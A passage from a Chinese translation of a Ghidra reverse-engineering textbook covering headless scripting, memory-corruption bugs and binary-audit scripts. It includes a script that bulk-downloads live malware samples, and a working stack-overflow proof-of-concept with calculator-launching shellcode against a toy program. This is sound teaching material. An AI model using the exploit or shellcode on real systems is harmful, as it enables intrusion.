//@category Search
import ghidra.app.script.GhidraScript;
import ghidra.app.util.headless.HeadlessScript;
import ghidra.program.model.address.Address;
public class HeadlessFindTextScript extends GhidraScript {
    /**
     * @see ghidra.app.script.GhidraScript#run()
     */
    @Override
    public void run() throws Exception {
        if (currentAddress == null) {
            println("NO CURRENT ADDRESS");
            return;
        }
        if (currentProgram == null) {
            println("NO CURRENT PROGRAM");
            return;
        }
        String search = askString("Text Search", "Enter search string: ");
        Address addr = find(search);
        if (addr != null) {
            String addrValue = getDataAt(addr).getDefaultValueRepresentation();
            println("0x" + addr + ": " + addrValue);
            goTo(addr);
        }
        else {
            println("No search matched found.");
        }
    }
}

现在,我们可以尝试将这个后处理脚本应用于一组随机的恶意软件样本。请确保在继续阅读之前完全理解分析恶意软件的风险。

分析恶意软件的风险

在分析恶意软件时,你的计算机和网络会面临风险(无法将风险降至零,但可以尽量将其降到接近零)。为了避免这种风险,我们在 第五章《使用 Ghidra 反向分析恶意软件》中,介绍了如何设置一个合理安全的恶意软件分析环境,作为本章的目的。

由于在此情况下你需要互联网连接来下载样本,建议你学习如何使用以下资源设置一个隔离的恶意软件实验室: https://archive.org/details/Day1Part10DynamicMalwareAnalysisblog.christophetd.fr/malware-analysis-lab-with-virtualbox-inetsim-and-burp/

为此,首先执行下载该恶意软件样本数据库中所有恶意软件样本的脚本,das-malwerk.herokuapp.com/,生成两个目录:

  • compressed_malware_samples,恶意软件样本已被下载。

  • decompressed_malware_samples,恶意软件样本经过 7Z 解压缩工具解压并用密码 infected 解密。恶意软件样本通常使用上述密码进行加密。

用于下载所有恶意软件样本的脚本如下:

#!/usr/bin/env python
import os
import urllib.request
import re
import subprocess
from pathlib import Path
from bs4 import BeautifulSoup
url = 'https://s3.eu-central-1.amazonaws.com/dasmalwerk/'
Path("compressed_malware_samples").mkdir(parents=True, exist_ok=True)
dasmalwerk = urllib.request.urlopen(urllib.request.Request(url, data=None, headers={'User-Agent': 'Packt'})).read().decode('utf-8')
soup = BeautifulSoup(dasmalwerk, 'lxml')
malware_samples = soup.findAll('key')
for sample in malware_samples:
    if(not sample.string.endswith('.zip')):
        continue
    sample_url="{0}{1}".format(url, sample.string)
    print("[*] Downloading sample: {0}".format(sample_url))
    try:
        sample_filename = 'compressed_malware_samples{0}{1}'.format(os.sep, sample.string.split('/')[-1])
        with urllib.request.urlopen(sample_url) as d, open(sample_filename, "wb") as opfile:
            data = d.read()
            opfile.write(data)
            print("    [-] Downloaded.")
        subprocess.call(['C:\\Program Files\\7-Zip\\7z.exe', 'e', sample_filename, '*', '-odecompressed_malware_samples', '-pinfected', '-y', '-r'], stdout=subprocess.DEVNULL)
        print("    [-] Uncompressed.")
    except:
        print("    [-] Error :-(")

这就是输出的样子:

图 7.3 – 下载恶意软件样本

图 7.3 – 下载恶意软件样本

为了在这组恶意软件样本上执行脚本,我们可以使用以下命令:

analyzeHeadless.bat C:\Users\virusito\projects MalwareSampleSetProject -postScript C:\Users\virusito\ghidra_scripts\HeadlessFindTextScript.java -import C:\Users\virusito\malware_samples_downloader\decompressed_malware_samples\* -overwrite

http:// 字符串,在 HeadlessFindTextScript.properties 中指定的,是在 0x004c96d8 处匹配到的:

图 7.4 – 查找恶意软件样本中的 http:// 字符串出现位置

图 7.4 – 查找恶意软件样本中的 http:// 字符串出现位置

让我们使用 Ghidra 的头模式检查这个发现是否正确。为此,打开 C:\Users\virusito\projects\MalwareSampleSetProject.gpr 项目,然后打开找到 http:// 字符串的恶意软件样本文件:

图 7.5 – 使用 Ghidra 的 CodeBrowser 打开恶意软件样本

图 7.5 – 使用 Ghidra 的 CodeBrowser 打开恶意软件样本

使用 G 热键前往匹配的地址:

图 7.6 – 使用 Ghidra 头模式前往 0x004c96d8 地址

图 7.6 – 使用 Ghidra 有头模式跳转到 0x004c96d8 地址

你将看到这个内存地址指向的字符串:

图 7.7 – 使用 Ghidra 有头模式显示 0x004c96d8 地址中的 http:// 字符串出现情况

由于在有头模式下显示的字符串与脚本结果一致,我们已经确认其按预期工作。如你所见,使用 Ghidra 无头模式自动化分析多个二进制文件非常简单。

总结

在本章中,你学习了如何使用 Ghidra 无头模式分析多个二进制文件并自动化任务。我们从回顾 Ghidra 无头模式的最相关参数开始,然后通过实际示例应用这些知识。

我们学习了如何创建一个项目,向其中添加二进制文件,进行分析,并在这些二进制文件上运行前后脚本。我们还了解到,可以在无头模式下执行图形界面脚本,在有头模式下执行非图形界面脚本,并且可以发生的异常及其原因。

在本书的下一章中,我们将介绍使用 Ghidra 进行二进制审计。我们将借此机会回顾不同类型的内存损坏漏洞、如何追踪它们以及如何利用这些漏洞。

问题

  1. 既然可以在无头模式下执行有头脚本,为什么还需要编写无头模式脚本?

  2. 什么时候应该使用 Ghidra 无头模式,什么时候应该使用 Ghidra 有头模式?

  3. 使用 Ghidra 查找二进制文件中的字符串与使用 grepstrings 等命令工具查找它们有什么区别?

进一步阅读

你可以参考以下链接获取有关本章所涉及主题的更多信息:

第八章:第八章:审计程序二进制文件

在本章中,你将学习如何审计可执行二进制文件。它包括分析二进制程序以识别其漏洞。这对我们来说很有趣,因为这是 Ghidra 的另一个常见使用场景。此外,如果你在程序中发现了一个未知漏洞,在大多数情况下,你可以不通过社会工程学说服用户执行某些操作而直接入侵计算机。

在本章中,你将回顾主要的内存损坏漏洞(即整数溢出、缓冲区溢出、格式化字符串等),并使用 Ghidra 对它们进行分析。最后,你将学习这些漏洞如何在实际中被利用。

本章将覆盖以下主题:

  • 理解内存损坏漏洞

  • 使用 Ghidra 查找漏洞

  • 利用简单的基于栈的缓冲区溢出

技术要求

本章的要求如下:

包含所有必要代码的 GitHub 仓库:github.com/PacktPublishing/Ghidra-Software-Reverse-Engineering-for-Beginners/tree/master/Chapter08

请访问以下链接查看《Code in Action》视频:bit.ly/3lP7hRa

理解内存损坏漏洞

有许多种软件漏洞。为了对软件弱点类型进行分类,诞生了常见弱点枚举CWE)。如果你想了解存在哪些漏洞,我建议你查看完整的列表,网址是cwe.mitre.org/data/index.html

我们将重点关注内存损坏漏洞。这种漏洞发生在程序试图访问没有访问权限的内存区域时。

这些类型的漏洞在 C/C++编程语言中很常见,因为程序员可以直接访问内存,这使得我们可能犯下内存访问错误。而在 Java 编程语言中则不可能发生这种情况,因为 Java 被认为是一种内存安全的编程语言,其运行时错误检测机制可以检查并防止此类错误,尽管Java 虚拟机JVM)也容易受到内存损坏漏洞的影响(media.blackhat.com/bh-ad-11/Drake/bh-ad-11-Drake-Exploiting_Java_Memory_Corruption-WP.pdf)。

在处理内存损坏漏洞之前,我们需要了解两种内存分配机制:自动内存分配(发生在程序的栈上)和动态内存分配(发生在堆上)。还有静态分配机制,但我们将在本书中省略(它在 C 语言中通过static关键字执行,但在这里不相关)。

接下来,我们将讨论缓冲区溢出,它在尝试使用超过分配内存时会导致内存损坏。最后,由于为了缓解缓冲区溢出,正在开发更多的保护机制,我们将讨论格式字符串漏洞,它能够泄露程序信息,允许机密数据被看到,还能获取程序的内存地址,从而使得绕过一些最先进的内存损坏防护措施成为可能。

理解栈

计算机的栈工作原理类似于盘子堆叠。你可以将盘子放到栈上,但在移除盘子时,你只能移除最后放上的盘子。我们通过一个例子来看看这个过程。sum函数(查看第00行)本应执行其参数的和,因此以下代码执行了1 + 3操作,并将结果存储在result变量中(查看第05行):

00 int sum(int a, int b){
01    return a+b;
02 }
03 
04 int main(int argc, char *argv[]) {
05    int result = sum(1,3);
06 }

编译前面的代码,目标为 x86(32 位)架构:

C:\Users\virusito>gcc –m32 –c sum.c –o sum.exe
C:\Users\virusito>

如果我们使用 Ghidra 分析生成的二进制文件,第05行被翻译成以下汇编代码:

图 8.1 – Ghidra 汇编概述的求和函数

图 8.1 – Ghidra 汇编概述的求和函数

栈帧是被推送到栈上的一帧数据。在调用栈的情况下,栈帧代表了一个函数调用及其参数数据。当前的栈帧位于存储在ESP中的内存地址(其目的是指向栈的顶部)和EBP中的内存地址(其目的是指向栈的底部)之间。如你所见,它将值0x10x3以与我们代码相反的顺序推送到栈上。它将整数0x1放置在栈的顶部(即ESP指向的内存地址),并且将整数0x3放在前面。与我们代码中的sum(查看00行)相对应的_sum函数被调用,结果预计将存储在EAX寄存器中,并通过MOV操作将其也存储在栈上。注意,当执行CALL操作时,下一条指令的地址会被推送到栈上,然后控制权转交给被调用的函数。

为了执行函数调用,必须有一个约定来规定调用者函数将参数放置在哪里(寄存器中还是栈上)。如果参数放入寄存器,那么约定必须指定使用哪些寄存器。还需要决定参数放置的顺序。谁来清理栈?是调用者还是被调用者函数?从函数返回后,返回值放在哪里?显然,必须建立一个调用约定。

在这种情况下,参数由调用者函数推送到栈上,而被调用函数_sum负责清理栈并通过EAX寄存器返回值。这就是被称为cdecl约定,表示C 声明

现在,让我们来看看_sum函数:

图 8.2 – 允许你求和的程序

图 8.2 – 允许你求和的程序

如你所见,被调用函数通过PUSH EBP指令(第1行)将调用者函数的栈基地址推送到栈上。接下来,MOV EBP, ESP指令(第2行)建立了调用者栈顶(ESP中存储的地址)作为被调用函数的栈底。换句话说,被调用函数的栈帧位于调用者函数的栈帧之上。

在这种情况下,没有栈分配,可以通过SUB ESP, 0xXX操作来执行,其中0xXX是要分配的栈内存的大小。

两个参数ab从栈上取出并存储到寄存器中。ADD操作(第5行)负责将这两个寄存器相加,并将结果存储在EAX寄存器中。

最后,通过POP EBP(第6行)恢复调用者函数的栈帧,并通过RET(第7行)将控制转移到调用者函数,这个指令将执行栈上CALL指令存储的下一个指令,并将执行转移给它。

总之,栈内存在函数退出之前是可用的,并且不需要手动释放。

基于栈的缓冲区溢出

基于栈的缓冲区溢出(CWE-121: cwe.mitre.org/data/definitions/121.html)发生在栈上分配的缓冲区被超出其界限地覆盖时。

在以下示例中,我们可以看到一个程序,它预留了 10 字节的内存(见01行),然后将传递给程序的第一个参数复制到这个缓冲区中(见02行)。最后,程序返回0,但在这个例子中这一点并不重要:

00 int main(int argc, char *argv[]) { 
01   char buffer[200];
02   strcpy(buffer, argv[1]); 
03   return 0; 
04 }

编译面向 x86(32 位)架构的程序:

C:\Users\virusito>gcc stack_overflow.c -o stack_overflow.exe –m32
C:\Users\virusito>

漏洞的发生是因为没有对要复制到缓冲区的参数进行长度检查。所以,如果通过_strcpy将超过 200 字节的数据复制到缓冲区,一些除缓冲区变量外的栈上内容会被覆盖。我们来用 Ghidra 看一下:

图 8.3 – _strcpy 上的栈溢出

图 8.3 – _strcpy 上的栈溢出

如你所见,当代码被编译时,缓冲区位于ESP + 0x18,而ptr_source位于Stack[-0xec],意味着缓冲区的长度是0xec - 0x18 = 212字节。所以,二进制文件的代码与用 C 编写的源代码不同,因为缓冲区原本预计为 10 字节。请查看以下 Ghidra 反编译器的截图:

图 8.4 – 编译器优化应用于局部缓冲区变量

图 8.4 – 编译器优化应用于局部缓冲区变量

上述源代码与二进制文件之间的差异是由于编译器优化引起的。请注意,编译器也可能引入修改和漏洞(例如,编译器在优化阶段倾向于删除memset函数的使用,当目标缓冲区在之后不再使用时,因此,使用memset来清零内存并不安全)。

理解堆

有时候,程序员不知道在运行时需要多少内存,或者他们可能需要存储一些必须在函数退出后依然存在的信息。在这种情况下,程序员会使用类似malloc()这样的 C 标准函数来动态分配内存。

在这种情况下,内存由操作系统在堆结构中分配,程序员需要负责释放它,例如使用free() C 标准函数。

如果程序员忘记调用free()函数,内存资源在程序执行结束之前不会被释放(因为现代操作系统足够智能,会在程序结束时释放资源)。

基于堆的缓冲区溢出

基于堆的缓冲区溢出(CWE-122: cwe.mitre.org/data/definitions/122.html)发生在堆中分配的缓冲区被写入超出其边界时。

这个漏洞与基于栈的缓冲区溢出非常相似,但在这种情况下,缓冲区是通过某些函数(如malloc())显式地进行堆内存分配的。我们来看一下这个漏洞的例子:

00 int main(int argc, char *argv[]) {
01    char *buffer;
02    buffer = malloc(10);
03    strcpy(buffer, argv[1]);
04    free(buffer);
05    return 0;
06 }

编译面向 x86(32 位)架构的程序:

C:\Users\virusito>gcc heap_bof.c –o heap_bof.exe –m32
C:\Users\virusito>

这段代码类似于基于栈的缓冲区溢出,但漏洞发生在堆中。正如你在02行看到的,堆中分配了10字节的内存,然后在03行,它被程序的第一个参数覆盖,而这个参数的大小超过了10字节。

通常,基于堆的缓冲区溢出被认为比基于栈的缓冲区溢出更难以利用,因为它要求理解堆的结构如何工作,而堆结构是操作系统依赖的,因此是一个更复杂的话题。

让我们看看它在 Ghidra 中的样子:

图 8.5 – 基于堆的溢出在 _strcpy 函数中

图 8.5 – 基于堆的溢出在 _strcpy 函数中

如你所见,传递给_malloc的大小是0xa。由于这是动态分配,编译器没有进行优化。malloc分配后,指向缓冲区的指针被存储,然后获取指向程序参数向量_Argv的指针,并且由于它包含一个指针数组(每个指针占一个dword),0x4被加到EAX寄存器,以跳过第一个参数(即程序名),并进入第一个参数。

接下来,调用不安全的_strcpy函数,最后,通过_free释放已分配的缓冲区。

格式化字符串

格式化字符串漏洞(CWE-134: cwe.mitre.org/data/definitions/134.html)发生在程序使用接受来自外部源的格式化字符串的函数时。看看下面的代码:

00 int main(int argc, char *argv[]) { 
01     char *string = argv[1];
02     printf(string);
03     return 0;
04 } 

编译面向 x86(32 位)架构的程序:

C:\Users\virusito>gcc format_strings.c –o format_strings.exe –m32
C:\Users\virusito>

程序传递的第一个参数被赋值给字符串指针,并在第01行直接传递给printf()函数,该函数打印格式化字符串。

你不仅可以用它来崩溃程序,还可以用它来获取信息。例如,你可以使用%p从栈中获取信息:

C:\Users\virusito\vulns>format_strings.exe %p.%p.%p.%p.%p 00B515A7.0061FEA8.00401E5B.00401E00.00000000

这些类型的漏洞在如今非常重要,因为它们有助于绕过地址空间布局随机化ASLR)反利用保护。ASLR 使攻击者无法得知二进制文件加载的基础地址(因此也无法知道其他地址),使得控制程序流程变得困难。但例如,如果你利用格式字符串漏洞泄露了内存中某个地址的内容,就可以通过相对泄露数据的偏移量来计算基础地址(或任意二进制地址)。

格式字符串攻击

如果你想了解更多关于如何使用格式字符串检索信息以及如何利用它的细节,请查看以下 OWASP URL:owasp.org/www-community/attacks/Format_string_attack

利用的主题非常广泛。这些并不是唯一的内存破坏漏洞类型(例如,use after free、double free、integer overflow、off-by-one 等未在此涵盖),但我们已涵盖了基础知识。

接下来,我们将讨论如何使用 Ghidra 手动查找漏洞。

使用 Ghidra 查找漏洞

前一部分所涵盖的漏洞都与不安全的 C 函数相关,因此,在查找漏洞时,你可以先检查程序是否使用了其中的任何一个。

识别到不安全的函数后,下一步是检查参数和/或对参数的先前检查,以确定该函数是否被正确使用。

为了在真实世界的应用程序上进行实验,请安装 FTPShell 客户端 6.7。安装步骤如下:

  1. 下载安装程序并执行: https://www.exploit-db.com/apps/40d5fda024c3fc287fc841f23998ec27-fa_ftp_setup.msi。

  2. 向导菜单出现时,点击下一步图 8.6 – FTPShell 客户端 6 安装向导

    图 8.6 – FTPShell 客户端 6 安装向导

  3. 接受 FTPShell 客户端许可证并点击下一步图 8.7 – 接受 FTPShell 客户端许可证

    图 8.7 – 接受 FTPShell 客户端许可证

  4. 选择程序的安装位置并点击下一步图 8.8 – 选择 FTPShell 客户端安装位置

    图 8.8 – 选择 FTPShell 客户端安装位置

  5. 继续安装:图 8.9 – 安装 FTPShell 客户端

图 8.9 – 安装 FTPShell 客户端

安装过程完成后,你将在以下位置找到该程序的主要二进制文件:

C:\Program Files (x86)\FTPShellClient\ftpshell.exe

为了准备我们的实验,寻找 ftpshell.exe 中的易受攻击函数,我们需要创建一个包含 ftpshell.exe 二进制文件的 Ghidra 项目。请按照以下步骤操作:

  1. 创建一个名为FtpShell的新 Ghidra 项目。创建 Ghidra 项目的步骤在第一章,《Ghidra 入门》一章的创建新的 Ghidra 项目部分中已解释。

  2. ftpshell.exe二进制文件添加到项目中。将二进制文件添加到 Ghidra 项目中的步骤在第一章,《Ghidra 入门》一章的将文件导入 Ghidra 项目部分中已解释:图 8.10 – 结果为 FTPShell Ghidra 项目

    图 8.10 – 结果为 FTPShell Ghidra 项目

  3. 分析文件。分析 Ghidra 项目的步骤在第一章,《Ghidra 入门》一章的执行和配置 Ghidra 分析部分中已解释。

你可以查找以下一些函数:

  • 可能导致基于栈的缓冲区溢出漏洞的函数有:strcpystrcatstrncatgets()memcpy()

  • 可能导致基于堆的缓冲区溢出漏洞的函数有:malloc()calloc()resize()free()

  • 可能导致格式化字符串漏洞的函数有:prinft()fprintf()sprintf()snprintf()vsprintf()vprintf()vsnprintf()vfprintf()

你可以对strcpy应用过滤器:

图 8.11 – 过滤函数以定位 _strcpy

图 8.11 – 过滤函数以定位 _strcpy

右键点击结果并点击显示引用 Ctrl+Shift+F,如下图所示:

图 8.12 – 查找 _strcpy 的引用

图 8.12 – 查找 _strcpy 的引用

选择上述选项将显示调用它的程序函数列表:

图 8.13 – _strcpy 的引用

图 8.13 – _strcpy 的引用

通过反汇编调用者函数,你可以分析字符串的长度检查是否足以防止超出目标缓冲区的长度。

在以下截图中,你可以看到一个调用lstrlenA的例子,用来计算源缓冲区的长度并将长度存储在iVar1中,接着是一个if条件,考虑到iVar1的值,最后是一个不安全的函数lstrcpyA

图 8.14 – 调用 _strcpy 前的一些长度检查

图 8.14 – 调用 _strcpy 前的一些长度检查

一种非常有效的技术来发现漏洞叫做模糊测试。它包括监控目标应用程序并向其发送数据,期望在某些给定输入下程序崩溃。

最后,当程序崩溃时,你可以在目标上启动调试会话,并分析当输入被传递给程序时发生了什么。Ghidra 在这种情况下可以成为你最喜欢的调试器的有用伴侣,因为你可以重命名变量并显示反编译的代码,基本上提供了调试器所缺少的支持。

模糊测试很容易理解,但却是一个非常复杂的话题,因为开发一个高效的模糊器非常困难。在开发模糊器时,你必须选择是从头开始生成程序输入,还是采用现有输入(例如,PDF 文件)并进行变异。如果你决定生成输入,你需要生成可能会导致程序崩溃的输入。另一方面,如果你变异现有输入,你需要猜测哪些部分在变异时可能会导致程序崩溃。目前没有强大的数学基础来做出这个决策,因此它很难并且非常依赖经验。

利用简单的基于栈的缓冲区溢出

在本节中,我们将介绍利用技术。它包括编写一个程序或脚本,利用漏洞。

在这种情况下,我们将利用我们的栈溢出示例应用程序在系统上执行任意代码。以下代码是我们想要利用的:

00 #include<string.h>
01
02 int main(int argc, char *argv[]) { 
03   char buffer[200];
04   strcpy(buffer, argv[1]); 
05   return 0; 
06 }

使用 MinGW64 编译器的 –m32 标志,我们为 x86 架构编译代码:

C:\Users\virusito\vulns>gcc.exe stack_overflow.c -o stack_overflow.exe -m32
:\Users\virusito\vulns>

现在,我们可以检查当第一个参数较短时它是否能正常工作:

C:\Users\virusito\vulns>stack_overflow.exe AAAAAAAAAAAA
:\Users\virusito\vulns>

现在,我们可以检查当第一个参数较短时它是否能正常工作,但当参数较长时由于触发栈溢出漏洞而崩溃:

图 8.15 – 触发溢出以导致拒绝服务(DoS)

](https://github.com/OpenDocCN/freelearn-sec-pt3-zh/raw/master/docs/ghidra-sw-re-bg/img/B16207_08_015.jpg)

图 8.15 – 触发溢出以导致拒绝服务(DoS)

要利用栈溢出漏洞,你需要做两件事:

获取程序流程的控制权,将其重定向到你的恶意代码(也称为载荷或 shellcode)。

注入你想要执行的恶意代码(或重用现有代码)。

我们从二进制文件的反编译代码中得知缓冲区的大小是 212 字节,因此我们可以写入 212 个字符而不会触发基于栈的溢出:

payload = 'A'*212

由于 strcpy 使用 cdecl 调用约定,EBP 将被函数从栈中移除,因此会从栈中移除 4 字节:

图 8.16 – Ghidra 识别 strcpy 的 cdecl 调用约定

](https://github.com/OpenDocCN/freelearn-sec-pt3-zh/raw/master/docs/ghidra-sw-re-bg/img/B16207_08_016.jpg)

图 8.16 – Ghidra 识别 strcpy 的 cdecl 调用约定

我们可以通过从填充 A 的数据中减去对应 EBP 的 4 字节,并添加 4 字节的 B 数据来适配载荷,从而覆盖返回地址:

payload  = 'A'*(212-4)
payload += 'B'*4

如果我们继续覆盖,由于调用方执行的 CALL 指令将下一条指令的地址放到栈上,我们将能够控制程序流程,从而实现我们的第一个目标。所以,我们将能够用任意值覆盖 EIP 寄存器:

payload += 'C'*4

完整的 概念验证 (PoC) Python 代码如下所示:

import os
payload  = 'A'*(212-4)
payload += 'B'*4
payload += 'C'*4
os.system("stack_overflow.exe " + payload)

我们可以看到它工作正常,因为 EPB 寄存器被 0x42424242(即 BBBB 的 ASCII 表示)覆盖,而 EIP 寄存器也被 0x43434343(即 CCCC 的 ASCII 表示)覆盖:

图 8.17 – 使用调试器调查缓冲区溢出崩溃

图 8.17 – 使用调试器调查缓冲区溢出崩溃

现在,作为有效负载,我将使用以下 shellcode,它启动一个计算器:

shellcode = \
"\x31\xC0\x50\x68\x63\x61\x6C\x63\x54\x59\x50\x40\x92\x74" \
"\x15\x51\x64\x8B\x72\x2F\x8B\x76\x0C\x8B\x76\x0C\xAD\x8B" \ "\x30\x8B\x7E\x18\xB2\x50\xEB\x1A\xB2\x60\x48\x29\xD4\x65" \
"\x48\x8B\x32\x48\x8B\x76\x18\x48\x8B\x76\x10\x48\xAD\x48" \ "\x8B\x30\x48\x8B\x7E\x30\x03\x57\x3C\x8B\x5C\x17\x28\x8B" \
"\x74\x1F\x20\x48\x01\xFE\x8B\x54\x1F\x24\x0F\xB7\x2C\x17" \ "\x8D\x52\x02\xAD\x81\x3C\x07\x57\x69\x6E\x45\x75\xEF\x8B" \
"\x74\x1F\x1C\x48\x01\xFE\x8B\x34\xAE\x48\x01\xF7\x99\xFF" \
"\xD7"

请务必不要在不了解 shellcode 功能的情况下执行它。它可能是恶意软件。相反,使用以下方法将 shellcode 转储到文件中:

with open("shellcode.bin", "wb") as file:
    file.write(shellcode)

将生成的 shellcode.bin 文件导入 Ghidra,选择合适的语言。在本例中,适合的汇编语言是 x86:LE:32:System Management Mode: default

图 8.18 – 将 shellcode 导入 Ghidra

图 8.18 – 将 shellcode 导入 Ghidra

按下 D 键,同时聚焦在 shellcode 的第一个字节上:

图 8.19 – 将 shellcode 字节转换为代码

图 8.19 – 将 shellcode 字节转换为代码

并尝试理解 shellcode 的作用。在这个例子中,它启动了一个计算器:

图 8.20 – 分析 shellcode

图 8.20 – 分析 shellcode

执行 shellcode 的策略,在本例中,将如下所示:

  1. 将 shellcode 放在开头,使其位于栈顶,由 ESP 寄存器指向。我们知道 ESP 的值,因为我们在调试器中看到了它,值为 0x0028FA08(由于字节序问题,我们需要将值反转顺序,并且可以省略字节零)。

  2. 接下来,添加填充以触发栈溢出,然后放置 ESP 的值,因为 EIP 将被此值覆盖,从而触发我们的 shellcode 执行。

以下代码实现了上述策略:

import subprocess
shellcode = \
"\x31\xC0\x50\x68\x63\x61\x6C\x63\x54\x59\x50\x40\x92\x74" \
"\x15\x51\x64\x8B\x72\x2F\x8B\x76\x0C\x8B\x76\x0C\xAD\x8B" \ "\x30\x8B\x7E\x18\xB2\x50\xEB\x1A\xB2\x60\x48\x29\xD4\x65" \
"\x48\x8B\x32\x48\x8B\x76\x18\x48\x8B\x76\x10\x48\xAD\x48" \ "\x8B\x30\x48\x8B\x7E\x30\x03\x57\x3C\x8B\x5C\x17\x28\x8B" \
"\x74\x1F\x20\x48\x01\xFE\x8B\x54\x1F\x24\x0F\xB7\x2C\x17" \ "\x8D\x52\x02\xAD\x81\x3C\x07\x57\x69\x6E\x45\x75\xEF\x8B" \
"\x74\x1F\x1C\x48\x01\xFE\x8B\x34\xAE\x48\x01\xF7\x99\xFF" \
"\xD7"
ESP = "\x08\xfa\x28"
payload = shellcode
payload += "A"*(212 -4 -len(shellcode))
payload += "B"*4
payload += ESP
subprocess.call(["stack_overflow.exe ", payload])

最后,让我们执行漏洞攻击,看看会发生什么:

图 8.21 – 执行漏洞攻击

图 8.21 – 执行漏洞攻击

它按预期工作。计算器已成功启动。

总结

在本章中,你学习了如何使用 Ghidra 手动分析程序二进制文件以发现漏洞。我们首先讨论了内存损坏漏洞。接着,我们讨论了如何发现它们以及如何利用它们。

你已经学会了如何在源代码和汇编代码中寻找漏洞。最后,你还学会了如何开发一个简单的基于栈的溢出漏洞利用,并且如何将 shellcode 转储到磁盘以便进行分析。

本章所学的知识将帮助你在没有源代码的情况下寻找软件漏洞。在识别漏洞后,你将能够利用它。另一方面,当使用第三方开发的漏洞利用工具时,你将能够理解它们,并通过分析 shellcode 判断执行漏洞利用是否安全。

在本书的下一章中,我们将介绍如何使用 Ghidra 脚本化二进制审计。你将学习到 PCode 中间表示的强大功能,这是 Ghidra 的一项非常重要的特性,它使得该工具与竞争对手有所不同。

问题

  1. 内存损坏是软件漏洞的独特类型吗?列举一些此处未涉及的内存损坏漏洞类型并进行解释。

  2. 为什么 strcpy 被认为是一个不安全的函数?

  3. 列出三种防止内存损坏利用的二进制保护方法。使用这些机制保护的软件是否无法被利用?

进一步阅读

第九章:第九章:二进制审计脚本

审计二进制文件是一项耗时的任务,因此建议尽可能自动化此过程。在审计软件项目时,寻找某些漏洞(如逻辑问题或架构问题)是无法自动化的,但在其他一些情况下,例如内存损坏漏洞,它们是通用的,可以通过开发 Ghidra 脚本来实现自动化。

本章将教你如何使用 Ghidra 自动化查找可执行二进制文件中的漏洞。你将分析 Zero Day Initiative 开发的 Ghidra 脚本,通过寻找调用 sscanf(一个从字符串中读取格式化数据的 C 库)的位置,以实现自动化漏洞搜索,进而延续上一章的漏洞挖掘过程。

最后,我们将讨论 PCode,Ghidra 的中间语言,它允许你将脚本与处理器架构解耦。

本章将涵盖以下主要内容:

  • 查找易受攻击的函数

  • 查找 sscanf 的调用者

  • 使用 PCode 分析调用函数

技术要求

本章的要求如下:

请查看以下视频,观看代码实战:bit.ly/2Io58y6

查找易受攻击的函数

如果你记得上一章的内容,当寻找漏洞时,我们从查找符号表中列出的不安全的 C/C++函数开始。不安全的 C/C++函数可能会引入漏洞,因为开发者需要检查传递给函数的参数。因此,他们有可能犯下有安全隐患的编程错误。

在这种情况下,我们将分析一个脚本,该脚本查找预期由sscanf初始化但未验证正确初始化的变量的使用:

00  int main() {
01 	char* data = "";
02 	char name[20];
03 	int age;
04 	int return_value = sscanf(data, "%s %i", name, &age);
05 	printf("I'm %s.\n", name);
06 	printf("I'm %i years old.", age);
07 }

当编译这段代码并执行时,结果是不可预测的。由于data变量在第01行初始化为空字符串,当sscanf在第04行被调用时,它无法从data缓冲区读取name字符串和age整数。

因此,当分别在第05行和第06行检索nameage的值时,它们包含一些不可预测的值。在执行过程中,在我的情况下(可能与你不同),它产生了以下不可预测的输出:

C:\Users\virusito\vulns> gcc.exe sscanf.c -o sscanf.exe
C:\Users\virusito\vulns> sscanf.exe
I'm ɧã.
I'm 9 years old.

为了解决这个漏洞,你必须检查sscanf的返回值,因为在成功时,该函数会返回成功从给定缓冲区扫描的值的数量。仅在成功读取agename的情况下,才使用这两个变量:

05 	if(return_value == 2){
06 		printf("I'm %s.\n", name);
07 		printf("I'm %i years old.", age);
08 	}else if(return_value == -1){
09 		printf("ERROR: Unable to read the input data.\n");
10 	}else{
11 		printf("ERROR: 2 values expected, %d given.\n", return_value);
12 	}

在下一节中,你将学习如何在符号表中查找sscanf函数,以便寻找本节中涵盖的各种漏洞。

从符号表中检索不安全的 C/C++函数

如你在第二章中所知,使用 Ghidra 脚本自动化反向工程任务,当开发GhidraScript脚本以自动化任务时,脚本提供以下状态:

  • currentProgram

  • currentAddress

  • currentLocation

  • currentSelection

  • currentHighlight

为了获得当前程序的符号表实例,Zero Day Initiative 脚本调用currentProgram中的getSymbolTable()方法:

symbolTable = currentProgram.getSymbolTable()

为了获取与_sscanf函数相关的所有符号,我们从符号表实例中调用getSymbols()方法:

list_of_scanfs = list(symbolTable.getSymbols('_sscanf'))

然后,如果list_of_scanfs列表中没有符号,我们的静态分析表明程序不会受到不安全的_sscanf调用的影响,因此我们可以返回:

if len(sscanfs) == 0:
    print("sscanf not found")
    return

如你所见,使用 Ghidra 脚本查找不安全函数非常简单;这种脚本可以很容易地使用 Ghidra API 实现。记得你可以在第六章中快速查阅它,恶意软件分析的脚本化

使用脚本反编译程序

反编译使你能够检索程序的反汇编,这是我们在查找漏洞时使用的程序视图。以下是 Zero Day Initiative 脚本代码片段,负责反编译程序:

00 decompiler_options = DecompileOptions()
01 tool_options = state.getTool().getService(
02                                           OptionsService
03                              ).getOptions(
04                                           "Decompiler"
05                              )
06 decompiler_options.grabFromToolAndProgram(
07                                           None,
08                                           tool_options,
09                                           currentProgram
10                                          )
11 decompiler = DecompInterface()
12 decompiler.setOptions(decompiler_options)
13 decompiler.toggleCCode(True)
14 decompiler.toggleSyntaxTree(True)
15 decompiler.setSimplificationStyle("decompile")
16 If not decompiler.openProgram(program):
17   print("Decompiler error")
18   return

让我解释一下前面代码片段中进行反编译的步骤:

  1. 获取DecompilerOptions实例:为了反编译程序,我们需要为单次反编译过程获取一个反编译器对象。我们通过实例化一个decompiler_options对象来开始(00行)。

  2. 获取与反编译过程相关的选项:为了设置选项,我们使用grabFromToolAndProgram() API,将反编译器特定的工具选项和目标程序传递给它,这对于反编译过程至关重要。

    实现 Ghidra 接口工具的 Ghidra 类(FrontEndToolGhidraToolModalPluginToolPluginToolStandAlonePluginToolTestFrontEndToolTestTool)都有按类别分组的相关选项。

    因此,要获取当前工具(即PluginTool)的反编译类别选项(与反编译相关的选项),代码片段使用选项服务来检索相关的反编译选项(0105行)。

  3. 设置获取的反编译选项的值:在获取与反编译相关的选项后,代码片段使用grabFromToolAndProgram() API 获取适当的反编译器选项值,将工具选项和目标程序传递给它(0610行)。

    接下来,代码片段获取反编译器实例并设置其选项(1115行)。

  4. 设置获取的反编译选项的值:最后,代码片段通过调用openProgram() API 来检查是否能够反编译程序(1618行)。

在获得能够反编译程序的配置反编译器后,我们可以开始寻找_sscanf不安全函数的调用者。

寻找sscanf调用者

